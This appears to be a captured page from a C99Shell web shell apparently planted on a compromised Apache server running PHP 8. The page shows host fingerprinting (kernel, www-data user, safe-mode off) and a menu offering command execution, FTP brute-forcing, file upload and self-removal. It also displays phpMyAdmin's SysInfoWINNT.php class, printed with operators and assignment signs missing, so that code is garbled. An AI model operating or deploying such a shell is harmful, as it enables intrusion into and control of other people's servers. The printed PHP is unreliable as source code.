!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/phpmyadmin/libraries/classes/   drwxr-xr-x
Free 13.05 GB of 57.97 GB (22.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SysInfoWINNT.php (3.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Hold PhpMyAdmin\SysInfoWINNT class
 *
 * @package PhpMyAdmin
 */
namespace PhpMyAdmin;

use 
COM;
use 
PhpMyAdmin\SysInfoBase;

/**
 * Windows NT based SysInfo class
 *
 * @package PhpMyAdmin
 */
class SysInfoWINNT extends SysInfoBase
{
    private 
$_wmi;
    public 
$os 'WINNT';

    
/**
     * Constructor to access to wmi database.
     */
    
public function __construct()
    {
        if (!
class_exists('COM')) {
            
$this->_wmi null;
        } else {
            
// initialize the wmi object
            
$objLocator = new COM('WbemScripting.SWbemLocator');
            
$this->_wmi $objLocator->ConnectServer();
        }
    }

    
/**
     * Gets load information
     *
     * @return array with load data
     */
    
function loadavg()
    {
        
$loadavg "";
        
$sum 0;
        
$buffer $this->_getWMI('Win32_Processor', array('LoadPercentage'));

        foreach (
$buffer as $load) {
            
$value $load['LoadPercentage'];
            
$loadavg .= $value ' ';
            
$sum += $value;
        }

        return array(
'loadavg' => $sum count($buffer));
    }

    
/**
     * Checks whether class is supported in this environment
     *
     * @return true on success
     */
    
public function supported()
    {
        return !
is_null($this->_wmi);
    }

    
/**
     * Reads data from WMI
     *
     * @param string $strClass Class to read
     * @param array  $strValue Values to read
     *
     * @return array with results
     */
    
private function _getWMI($strClass, array $strValue = array())
    {
        
$arrData = array();

        
$objWEBM $this->_wmi->Get($strClass);
        
$arrProp $objWEBM->Properties_;
        
$arrWEBMCol $objWEBM->Instances_();
        foreach (
$arrWEBMCol as $objItem) {
            
$arrInstance = array();
            foreach (
$arrProp as $propItem) {
                
$name $propItem->Name;
                if (empty(
$strValue) || in_array($name$strValue)) {
                    
$value $objItem->$name;
                    if (
is_string($value)) {
                        
$arrInstance[$name] = trim($value);
                    } else {
                        
$arrInstance[$name] = $value;
                    }
                }
            }
            
$arrData[] = $arrInstance;
        }

        return 
$arrData;
    }

    
/**
     * Gets information about memory usage
     *
     * @return array with memory usage data
     */
    
function memory()
    {
        
$buffer $this->_getWMI(
            
"Win32_OperatingSystem",
            array(
'TotalVisibleMemorySize''FreePhysicalMemory')
        );
        
$mem = Array();
        
$mem['MemTotal'] = $buffer[0]['TotalVisibleMemorySize'];
        
$mem['MemFree'] = $buffer[0]['FreePhysicalMemory'];
        
$mem['MemUsed'] = $mem['MemTotal'] - $mem['MemFree'];

        
$buffer $this->_getWMI('Win32_PageFileUsage');

        
$mem['SwapTotal'] = 0;
        
$mem['SwapUsed'] = 0;
        
$mem['SwapPeak'] = 0;

        foreach (
$buffer as $swapdevice) {
            
$mem['SwapTotal'] += $swapdevice['AllocatedBaseSize'] * 1024;
            
$mem['SwapUsed'] += $swapdevice['CurrentUsage'] * 1024;
            
$mem['SwapPeak'] += $swapdevice['PeakUsage'] * 1024;
        }

        return 
$mem;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0345 ]--